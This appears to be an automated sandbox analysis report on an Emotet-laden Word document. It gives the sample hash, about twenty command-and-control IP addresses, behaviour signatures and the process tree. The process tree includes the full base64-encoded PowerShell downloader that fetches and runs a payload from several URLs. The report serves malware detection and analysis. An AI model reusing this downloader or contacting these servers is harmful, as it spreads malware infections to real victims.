Analysis
- max time kernel
141s - max time network
145s - platform
windows10_x64 - resource
win10v200722 - submitted
15/10/2020, 12:29
General
- Target emotet_e1_0c55f388e8331ffdd9e76d85f538e620b330606ef06d56fa023ea70670ccf4a0_2020-10-15__122807281428._doc.doc
- Size 138KB
- Sample201015-eylj6d9rax
- SHA256 0c55f388e8331ffdd9e76d85f538e620b330606ef06d56fa023ea70670ccf4a0
Score
10/10
Malware Config
Extracted
Family
-
emotet
Botnet
-
Epoch1
C2
-
188.157.101.114:80
-
192.175.111.214:8080
-
95.85.33.23:8080
-
192.232.229.54:7080
-
181.30.61.163:443
-
186.70.127.199:8090
-
200.127.14.97:80
-
70.169.17.134:80
-
24.232.228.233:80
-
172.104.169.32:8080
-
50.28.51.143:8080
-
177.73.0.98:443
-
149.202.72.142:7080
-
37.187.161.206:8080
-
202.29.239.162:443
-
213.197.182.158:8080
-
202.134.4.210:7080
-
190.24.243.186:80
-
201.213.177.139:80
-
105.209.235.113:8080
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_0c55f388e8331ffdd9e76d85f538e620b330606ef06d56fa023ea70670ccf4a0_2020-10-15__122807281428._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABGADUAaQBiAHcAMABjAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnADAAZwBlACcAKQArACcAYQBnACcAKQA7ACQAQgA2ADMAOQB1AHYAawA9ACQASgBmAHoAOAB6AGwAagAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQASABjAG0AMgBzAHUAcgA7ACQAVgBiADEAMgBtAGkAagA9ACgAJwBWADUAJwArACgAJwA3ACcAKwAnADUAMgA1ACcAKQArACcAeAAnACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBjAHIAZQBhAHQARQBkAEkAYABSAEUAYwBgAFQATwBgAFIAWQAiACgAJABlAG4AdgA6AHQAbQBwACAAKwAgACgAKAAnAG8AJwArACgAJwBkAGgASQAnACsAJwA4ACcAKQArACcAeQB1ACcAKwAnAHkAJwArACgAJwAxAF8AJwArACcAbwBkAGgAJwArACcASwAnACkAKwAoACcAXwAxACcAKwAnAHIAeQB1AGIAbwAnACkAKwAnAGQAJwArACcAaAAnACkAIAAgAC0AUgBFAHAATABhAEMAZQAgACgAJwBvAGQAJwArACcAaAAnACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABWAGMAZQB0ADcAZQBiAD0AKAAoACcATwBuACcAKwAnADIAdAB3ACcAKQArACcAbQBtACcAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABjAHUAcgBpAGAAVABZAFAAUgBPAHQATwBjAG8AbAAiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdACgAJwBTACcAKwAoACcAcwAnACsAJwBsADMALAAnACkAKwAnAFQAbAAnACsAKAAnAHMALAAnACsAJwBUAGwAJwApACsAKAAnAHMAMQAxACcAKwAnACwAVABsACcAKQArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQASgBzAG0AYwBsAHAAawA9ACgAKAAnAFcAJwArACcAbABkACcAKQArACgAJwA2ACcAKwAnAHEAcQAnACkAKwAnAGUAJwApADsAJABPAGsANQAyADEAaABiACAAPQAgACgAKAAnAEwAOQA4AHAAJwArACcAcAAwACcAKQArACcAdwAnACkAOwAkAEEANQBoAF8AcwAyADMAPQAoACcATQAnACsAJwAyAHEAJwArACgAJwBqAHIAJwArACcAdQBkACcAKQApADsAJABVAGEAeAB1AGIAaABxAD0AKAAnAEcAagAnACsAKAAnAGQAJwArACcAegBwADkAegAnACkAKQA7ACQARgB3AGEAYQA0AG4ANwA9ACQAZQBuAHYAOgB0AG0AcAArACgAKAAoACcAdAAnACsAJwBuAEYAJwApACsAKAAnAEkAJwArACcAOAB5AHUAeQAnACsAJwAxAF8AdAAnACkAKwAoACcAbgAnACsAJwBGAEsAJwApACsAJwBfADEAJwArACgAJwByAHkAJwArACcAdQBiACcAKQArACgAJwB0ACcAKwAnAG4ARgAnACkAKQAgAC0AQwByAEUAcABMAEEAQwBFACgAJwB0AG4AJwArACcARgAnACkALABbAGMAaABBAFIAXQA5ADIAKQArACQATwBrADUAMgAxAGgAYgArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFcAeQBjAHIAaQBsAHgAPQAoACcATwAnACsAKAAnAHYAJwArACcAbgAxAF8AJwArACcANwBiACcAKQApADsAJABRAG4AMgA5AGQAegB2AD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABJAGUAbgBUADsAJABDAGQAMgA0AGwAcAB6AD0AKAAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACkAKwAnAGYAJwArACcAaQAnACsAKAAnAG4AYQBuACcAKwAnAGMAaQAnACsAJwBhAG0AJwApACsAKAAnAGUAbgB0AG8AaQBuACcAKwAnAHQAJwArACcAZQAnACkAKwAoACcAbAAnACsAJwBpAGcAZQBuAHQAZQAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAnACsAJwAtAGMAJwApACsAJwBvAG4AJwArACgAJwB0AGUAbgB0ACcAKwAnAC8AJwApACsAKAAnAEYAagAnACsAJwAvACcAKQArACgAJwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvAC8AJwApACsAJwB3AHcAJwArACcAdwAnACsAKAAnAC4AcgAnACsAJwBlACcAKQArACgAJwBtAG8AdgBlAHAAJwArACcAYwB0ACcAKwAnAHIAJwApACsAKAAnAG8AagAnACsAJwBhACcAKQArACgAJwBuAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAvACcAKwAnADYAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYQBhACcAKQArACgAJwBoAG4AJwArACcAYQAnACkAKwAoACcAdAAnACsAJwB1AHIAYQBsAHMALgAnACsAJwBuACcAKQArACgAJwBlAHQALwB3AHAALQAnACsAJwBpAG4AJwArACcAYwBsACcAKwAnAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AVABYAC8AJwArACcAKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwB3ACcAKwAnAHcAdwAuACcAKwAnAHMAZgBmADMAZAAuACcAKwAnAGMAbwBtAC8AMwBkAC8AeABrAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAGUAbgAnACsAJwBnACcAKwAnAGkAbgBlAGUAcgBpAG4AJwApACsAKAAnAGcALQAnACsAJwAyAHMALgBjAG8AbQAvAFMAUwAnACsAJwBfAFAAJwArACcAYQAnACsAJwB5ACcAKQArACgAJwBwACcAKwAnAGEAbAAnACkAKwAoACcALwAnACsAJwBYAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwAHMAJwArACgAJwA6AC8ALwBsACcAKwAnAHMAbQAnACsAJwBhACcAKQArACgAJwBuAGcAYQAuAGMAJwArACcAbwBtAC8AJwArACcAbQAnACsAJwBpACcAKwAnAGcAcgBhACcAKwAnAHQAaQBvAG4ALwBGAGEAVQAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0AHAAcwA6AC8ALwBiACcAKwAnAGUAdABhACcAKwAnAC4AegBvAG4AJwArACcAZQBiAGUAJwArACcAcgByAHkAJwArACcALgBjACcAKQArACgAJwBvAG0ALwBiAHkAcwB5AHMAdwAnACsAJwBlACcAKwAnAHgAZQAnACkAKwAoACcAYwBmAC8AJwArACcAeAAnACkAKwAnADMAJwArACcALwAnACkALgAiAFMAUABMAGAASQB0ACIAKAAkAFYAdAB4AHAAbABjAHgAIAArACAAJABCADYAMwA5AHUAdgBrACAAKwAgACQASwBjADIAagB5AGMAYwApADsAJABCAGIAbgA0AHMAdwBmAD0AKAAnAEsAJwArACgAJwBzAF8AJwArACcAcQA1ADEAZgAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQgAxADAAYQBhADgAOQAgAGkAbgAgACQAQwBkADIANABsAHAAegApAHsAdAByAHkAewAkAFEAbgAyADkAZAB6AHYALgAiAGQATwBgAFcATgBMAGAATwBhAEQARgBJAGwAZQAiACgAJABCADEAMABhAGEAOAA5ACwAIAAkAEYAdwBhAGEANABuADcAKQA7ACQARgBoADYAOABrAGsAZQA9ACgAKAAnAEEAJwArACcAagBkACcAKQArACcAZwAnACsAKAAnAHYAJwArACcAbwByACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAdwBhAGEANABuADcAKQAuACIAbABgAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAA3ADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAQQBgAFIAdAAiACgAJABGAHcAYQBhADQAbgA3ACkAOwAkAFYAeQA5AHMAaQBuAGgAPQAoACcARQAnACsAKAAnAGIANAAnACsAJwBjAGcAJwApACsAJwBfAHkAJwApADsAYgByAGUAYQBrADsAJABKAGEAcQBpAGcAawAyAD0AKAAnAE8AJwArACgAJwAzACcAKwAnAGoAdABfADcAJwApACsAJwBhACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgAwAGEAYgBoADcAXwA9ACgAKAAnAFEAdAAnACsAJwBkACcAKQArACcAagAnACsAKAAnAGwAJwArACcAMQA1ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\I8yuy1_\K_1ryub\L98pp0w.exe"C:\Users\Admin\AppData\Local\Temp\I8yuy1_\K_1ryub\L98pp0w.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\azroles\Windows.Devices.Picker.exe"C:\Windows\SysWOW64\azroles\Windows.Devices.Picker.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1148-14-0x00000000022B0000-0x00000000022CE000-memory.dmp
memory/1148-13-0x0000000002290000-0x00000000022AF000-memory.dmp
memory/2992-8-0x000001D519880000-0x000001D519881000-memory.dmp
memory/2992-7-0x00007FF9E9280000-0x00007FF9E9C6C000-memory.dmp
memory/2992-9-0x000001D519A30000-0x000001D519A31000-memory.dmp
memory/3228-0-0x00007FF9F03D0000-0x00007FF9F0A96000-memory.dmp
memory/3228-6-0x0000018186EBE000-0x0000018186EC0000-memory.dmp
memory/3228-5-0x0000018186CF8000-0x0000018186D62000-memory.dmp
memory/3228-4-0x0000018186CF8000-0x0000018186D62000-memory.dmp
memory/3228-3-0x0000018186CF8000-0x0000018186D62000-memory.dmp
memory/3228-2-0x0000018186CF8000-0x0000018186D62000-memory.dmp
memory/3228-1-0x0000018186CF8000-0x0000018186D62000-memory.dmp
memory/3812-17-0x0000000002040000-0x000000000205F000-memory.dmp
memory/3812-18-0x0000000002060000-0x000000000207E000-memory.dmp